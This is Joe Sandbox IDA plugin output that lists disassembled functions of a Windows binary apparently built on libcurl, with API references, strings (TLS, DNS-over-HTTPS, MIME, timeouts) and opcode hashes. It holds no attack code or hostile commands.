Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$memcpymemmove
String ID: schannel: Curl_read_plain returned CURLE_AGAIN$schannel: Curl_read_plain returned CURLE_RECV_ERROR$schannel: Curl_read_plain returned error %d$schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: can't renogotiate, an error is pending$schannel: can't renogotiate, encrypted data available$schannel: client wants to read %zu bytes$schannel: decrypted data added: %zu$schannel: decrypted data buffer: offset %zu length %zu$schannel: decrypted data cached: offset %zu length %zu$schannel: decrypted data length: %lu$schannel: decrypted data returned %zu$schannel: encdata_buffer resized %zu$schannel: encrypted data buffer: offset %zu length %zu$schannel: encrypted data cached: offset %zu length %zu$schannel: encrypted data got %zd$schannel: encrypted data length: %lu$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: schannel_recv cleanup$schannel: server closed abruptly (missing close_notify)$schannel: server closed the connection$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 3930488757-1393157870
Opcode ID: bcdbe971bd378511fac09fd72f3465a937bbdee8b15eff5c7ab51a16328ce442
Instruction ID: 4b8af2e5a419f66e278810b54e9ec5d4ff4d746234a3e0dc0be7225f23d59e87
Opcode Fuzzy Hash: bcdbe971bd378511fac09fd72f3465a937bbdee8b15eff5c7ab51a16328ce442
Instruction Fuzzy Hash: 6C22CDB56043019FDB12EF14D881E6AB7F5EF88304F16859CF9494B362E372E884CB92

Function 00388FA0 Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 314stringfileCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00388FD7
fopen.MSVCRT ref: 00388FE9
fseek.MSVCRT ref: 00388FFC
fclose.MSVCRT ref: 00389033
strlen.MSVCRT ref: 003890C0
memcpy.MSVCRT(00000000,?,00000001), ref: 003890E2
strstr.MSVCRT ref: 003890F5
strlen.MSVCRT ref: 0038910E
memcmp.MSVCRT(?,-00000008,?), ref: 00389121
strstr.MSVCRT ref: 00389147
ftell.MSVCRT ref: 00389168
fseek.MSVCRT ref: 00389177
fread.MSVCRT ref: 003891CA
memcmp.MSVCRT(?,?,?), ref: 003891EA
strstr.MSVCRT ref: 0038922F
strstr.MSVCRT ref: 00389262
memcmp.MSVCRT(?,?,?), ref: 00389331

Strings

-----BEGIN PUBLIC KEY-----, xrefs: 00389227
sha256//, xrefs: 00388FD1, 00389141
-----END PUBLIC KEY-----, xrefs: 0038925C
public key hash: sha256//%s, xrefs: 003890B1
;sha256//, xrefs: 003890EF

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strstr$memcmp$fseekstrlen$fclosefopenfreadftellmemcpystrncmp
String ID: public key hash: sha256//%s$-----END PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----$;sha256//$sha256//
API String ID: 1176492844-471711153
Opcode ID: 2a87c507e2ac08860de874a7ea2cf8b92c21e562fb20b4d368aaede57c9de2c3
Instruction ID: 42dcd86caf0dd5f54dffd1bb3e08c5dbd4ae942a624db36b99c018e702305da7
Opcode Fuzzy Hash: 2a87c507e2ac08860de874a7ea2cf8b92c21e562fb20b4d368aaede57c9de2c3
Instruction Fuzzy Hash: B7A1FAB1A043415BEB25AB259D89B3B77E8AB94304F0D0479FD898B242F775DD04C763

Function 003B8EF0 Relevance: 37.2, APIs: 10, Strings: 11, Instructions: 498stringnetworkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003B8F81

Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397002
Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397039

Part of subcall function 00396FB0: fwrite.MSVCRT ref: 00397087
Part of subcall function 00396FB0: fwrite.MSVCRT ref: 00397099

strlen.MSVCRT ref: 003B9173
strlen.MSVCRT ref: 003B91AC
strlen.MSVCRT ref: 003B91D7
strlen.MSVCRT ref: 003B9202
strlen.MSVCRT ref: 003B922D
strlen.MSVCRT ref: 003B9258
htons.WS2_32(?), ref: 003B93EF

Strings

CNAME: %s, xrefs: 003B92F2
AAAA, xrefs: 003B8FE2, 003B8FF0, 003B904D, 003B905B
DOH AAAA: , xrefs: 003B9130
Could not DOH-resolve: %s, xrefs: 003B94F3
%s, xrefs: 003B92B8
DOH Host name: %s, xrefs: 003B90B3
DOH A: %u.%u.%u.%u, xrefs: 003B9115
DOH: %s type %s for %s, xrefs: 003B8FF2, 003B905D
bad error code, xrefs: 003B8FC5, 003B8FF1, 003B9030, 003B905C
%s%02x%02x, xrefs: 003B9159, 003B919C, 003B91C7, 003B91F2, 003B921D, 003B9248, 003B9273, 003B929D
TTL: %u seconds, xrefs: 003B90C5

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$fwrite$htonsmemset
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 2611945536-4053692942
Opcode ID: 95bbcb38ec1e5902dfdd07a030f28e7127a6bd9d06da30f1cf81d50416436f76
Instruction ID: 7aa6eb1c14e487fe08f1b3d23ac27721ef79480c16fd23e59ac443e0b4467e45
Opcode Fuzzy Hash: 95bbcb38ec1e5902dfdd07a030f28e7127a6bd9d06da30f1cf81d50416436f76
Instruction Fuzzy Hash: 51F11871904240AFDB329F25DC86BEB77E9EF45304F054429FD8D8A242E775AA44CBB2

Function 003720F0 Relevance: 36.4, APIs: 9, Strings: 11, Instructions: 1410stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00372218
strncmp.MSVCRT ref: 0037222C

Strings

.%ld, xrefs: 00372CE4
(nil), xrefs: 00372E49, 00372EDF
%, xrefs: 00372B36
$, xrefs: 003721B0
I32, xrefs: 00372212
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 003727C9, 00372A34, 00373056
-, xrefs: 00372CF7
0, xrefs: 00373108
%ld, xrefs: 00372C87
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00372A2F, 0037304F
I64, xrefs: 00372226, 00372250

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strncmp
String ID: $$%$%ld$(nil)$-$.%ld$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz$I32$I64
API String ID: 1114863663-1693084657
Opcode ID: 8dea28d8e2ccd6853511511809e523624f65ab6b74086a8bb7961d38e2dd9262
Instruction ID: 645a9e142d2133d08b2a4da5a422b4ffcdb727dcf00426513e2266faa9a78390
Opcode Fuzzy Hash: 8dea28d8e2ccd6853511511809e523624f65ab6b74086a8bb7961d38e2dd9262
Instruction Fuzzy Hash: A3B2FF709083418FD736DF18C88476BBBE5EF85324F258A2DE8DA97291D339D945CB82

Function 003836A0 Relevance: 21.7, Strings: 17, Instructions: 457COMMON

Download Yara Rule

Strings

attachment, xrefs: 00383850, 00383865
Content-Transfer-Encoding, xrefs: 00383AE2
; name=", xrefs: 003839E4
Content-Type, xrefs: 003836F2
Content-Type: %s%s%s, xrefs: 00383A93
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 00383A2C
; filename=", xrefs: 00383A0C, 00383A21
8bit, xrefs: 00383B11, 00383B3E
multipart/mixed, xrefs: 003837CA, 00383ABF
form-data, xrefs: 00383B9B, 00383BB8
text/plain, xrefs: 0038374E
multipart/, xrefs: 00383ABA
application/octet-stream, xrefs: 003837B6
Content-Transfer-Encoding: %s, xrefs: 00383B12
multipart/form-data, xrefs: 00383B86
Content-Disposition, xrefs: 00383822
; boundary=, xrefs: 00383A80, 00383A91

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 0-1595554923
Opcode ID: bbd4d5d7c3542f7a5e752f44826a3e0d09d392d7ff281f11cbbb61f662a2aafc
Instruction ID: eb55318c142fd91f1a299f577bcba2e646984db9806eac35fda200ee23778a05
Opcode Fuzzy Hash: bbd4d5d7c3542f7a5e752f44826a3e0d09d392d7ff281f11cbbb61f662a2aafc
Instruction Fuzzy Hash: 40D1D4B16083549FEB37AE24C88572377D9AF55F44F0A44E8EC859B342E3B5DE048B92

Function 003B66B0 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 446COMMON

Download Yara Rule

Strings

%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 003B6BD8
%02x:, xrefs: 003B67A8, 003B6836, 003B688C
GMT, xrefs: 003B6B73
0, xrefs: 003B6B10
0, xrefs: 003B6B15
TRUE, xrefs: 003B67E2, 003B67EA
TUUU, xrefs: 003B6859
TUUU, xrefs: 003B6771
TUUU, xrefs: 003B6803
GMT, xrefs: 003B6A8E
%s%lx, xrefs: 003B696F
FALSE, xrefs: 003B67DD
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 003B6AD2

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$%02x:$%s%lx$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$0$0$FALSE$GMT$TRUE$TUUU$TUUU$TUUU
API String ID: 0-1939689028
Opcode ID: 42f57c4d72a74b203289b8b6015dc6cb4958ad2f9622b233e8a7aef1d1cd86a2
Instruction ID: 2112b9b5e98c7ecc6a0c92e3190725ab00ecc4cf832ee94fc384b45f5f19a921
Opcode Fuzzy Hash: 42f57c4d72a74b203289b8b6015dc6cb4958ad2f9622b233e8a7aef1d1cd86a2
Instruction Fuzzy Hash: 89E1AA71A042508FDB168E2488937F67B96DB8130CF0D856DEA89CBA53D63ECD86C791

Function 003BA7B0 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 497stringCOMMON

Download Yara Rule

APIs

strtol.MSVCRT ref: 003BA981
strlen.MSVCRT ref: 003BA9DC
strlen.MSVCRT ref: 003BAC30
strlen.MSVCRT ref: 003BAC54
strcpy.MSVCRT(00000000,?), ref: 003BAC7A
strcpy.MSVCRT(00000000,?), ref: 003BAC96

Strings

%%%02x, xrefs: 003BAB85
&, xrefs: 003BAC82
@*?u, xrefs: 003BAA8F

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$strcpy$strtol
String ID: %%%02x$&$@*?u
API String ID: 2637003386-3385104308
Opcode ID: 55efa4eb3a08388f357953fdfd9057488278e2e1d2d141318552914e613ac759
Instruction ID: 0e1776c1f54acb9a92a48aca31624bd70ce3b45b3ac19d064a97fc05035e745b
Opcode Fuzzy Hash: 55efa4eb3a08388f357953fdfd9057488278e2e1d2d141318552914e613ac759
Instruction Fuzzy Hash: CB026E70504F419FE7129F24DC4939B7BE5AF4030CF090834FA8A8A652E775D968D7A3

Function 00379A20 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 335COMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 00379A7D
memchr.MSVCRT ref: 00379BCB
_errno.MSVCRT ref: 00379CC5

Strings

0123456789abcdef, xrefs: 00379BC6, 00379BD7
0123456789ABCDEF, xrefs: 00379BE3, 00379BF4
0123456789, xrefs: 00379A78, 00379AA7, 00379D9B, 00379DC5

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memchr$_errno
String ID: 0123456789$0123456789ABCDEF$0123456789abcdef
API String ID: 2043447294-3773776233
Opcode ID: 92d639c3e1e6b8ae0c80f09156934cb0ad5da4ad7f02a3530c02e27da317a1e5
Instruction ID: 48711c6ead981513256f44faa31e830968c49c6906c05397222297582a2aa117
Opcode Fuzzy Hash: 92d639c3e1e6b8ae0c80f09156934cb0ad5da4ad7f02a3530c02e27da317a1e5
Instruction Fuzzy Hash: 47B1BB316483458FD736CF24C09476ABBE5EB89344F0ACA2EE8CD8B281D7798D45CB42

Function 00361F10 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 300COMMON

Download Yara Rule

APIs

Part of subcall function 003715C0: GetTickCount.KERNEL32 ref: 003715C0

memset.MSVCRT ref: 003620D4
fputs.MSVCRT ref: 00362255
fflush.MSVCRT ref: 003622B8

Strings

%*s, xrefs: 00362174
%%-%ds %%5.1f%%%%, xrefs: 003620E9
-=O=, xrefs: 0036218F
#, xrefs: 00362243
-, xrefs: 0036218A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: CountTickfflushfputsmemset
String ID: %%-%ds %%5.1f%%%%$#$%*s$-$-=O=
API String ID: 6529526-1632668997
Opcode ID: e85cd48934a4eb6bceffbed410eeb56f5560313e4bbac28a45d6d9204b839215
Instruction ID: 1f045fa3d9df977735dea04488a171fd61e380d717b9441b7c397e9711e0b2fe
Opcode Fuzzy Hash: e85cd48934a4eb6bceffbed410eeb56f5560313e4bbac28a45d6d9204b839215
Instruction Fuzzy Hash: 40C189716087009FC758DF2AC88095AFBE6FFC8314F158A2EE899D77A1D630E945CB52

Function 0038C770 Relevance: 12.1, APIs: 8, Instructions: 80encryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0038C7AD
CryptAcquireContextA.ADVAPI32(?,00000000,00000000,?,F0000000), ref: 0038C7C4
CryptCreateHash.ADVAPI32(?,?,00000000,00000000), ref: 0038C7E1
CryptHashData.ADVAPI32(?,?,?,00000000), ref: 0038C7F3
CryptGetHashParam.ADVAPI32(?,00000004,?,?,00000000), ref: 0038C80F
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000), ref: 0038C830
CryptDestroyHash.ADVAPI32(00000000), ref: 0038C83E
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0038C84F

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyReleasememset
String ID:
API String ID: 2041421932-0
Opcode ID: 6e599c4b666a12827c39ca7f5aea0bbb7ae323b567e72bf88b9c24741fbb529d
Instruction ID: e2f0d8fdec390d95192f0aeae423f33fdf0190545c3ff82c34edc07ab3256a6e
Opcode Fuzzy Hash: 6e599c4b666a12827c39ca7f5aea0bbb7ae323b567e72bf88b9c24741fbb529d
Instruction Fuzzy Hash: C52178B1248341BBE720AF21DC09F1BBBE9FF80B44F00582CF68896190D7B5D820CB66

Function 00365A00 Relevance: 9.3, APIs: 2, Strings: 4, Instructions: 295stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00365A34
strncmp.MSVCRT ref: 00365A48

Strings

zF_, xrefs: 00365D35
The file name argument '%s' looks like a flag., xrefs: 00365DC3
no-, xrefs: 00365A42
}F_, xrefs: 00365A71

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlenstrncmp
String ID: The file name argument '%s' looks like a flag.$no-$zF_$}F_
API String ID: 1310274236-1725126649
Opcode ID: add77df7f45830c5e16185c5d7d739f0eab16db3fcfc4c1c278b13884cb39e35
Instruction ID: 88603488d11162f7eec9a78f2301e99ab6e26aac13d8c30414246768d1612d07
Opcode Fuzzy Hash: add77df7f45830c5e16185c5d7d739f0eab16db3fcfc4c1c278b13884cb39e35
Instruction Fuzzy Hash: BDD13BB59083408FD321CF14C4887DABBE5FBC9314F158A6EE8899B395D7729946CF82

Function 003976C0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 266stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003976D4
memcpy.MSVCRT(?,?,?), ref: 0039789C
memcpy.MSVCRT(?,?,?), ref: 003979CA

Strings

Failed writing body (%zu != %zu), xrefs: 003978F8
Failed writing header, xrefs: 0039791E
Write callback asked for PAUSE when not supported!, xrefs: 0039790B

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy$strlen
String ID: Failed writing body (%zu != %zu)$Failed writing header$Write callback asked for PAUSE when not supported!
API String ID: 2619041689-2483876519
Opcode ID: 73201d420e836da97ae2c3c9016978151c14570ceb3a49b7740d0aa1783e95c7
Instruction ID: 03f16184c5fe51766195ade79dec6809e6501cf04ed5049909cefb902f866abe
Opcode Fuzzy Hash: 73201d420e836da97ae2c3c9016978151c14570ceb3a49b7740d0aa1783e95c7
Instruction Fuzzy Hash: 1991F43162C3059BDF229F69DC85BBAB7E9FF84344F16042DE88D4B281E731A941CB61

Function 003774E0 Relevance: 9.2, Strings: 7, Instructions: 406COMMON

Download Yara Rule

Strings

Operation timed out after %d milliseconds with %I64d bytes received, xrefs: 00378101
Connection timed out after %d milliseconds, xrefs: 00377C65
*, xrefs: 00378C1E
Resolving timed out after %d milliseconds, xrefs: 003776B7
Operation timed out after %d milliseconds with %I64d out of %I64d bytes received, xrefs: 00377CC4
In state %d with no conn, bail out!, xrefs: 00378CB8
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
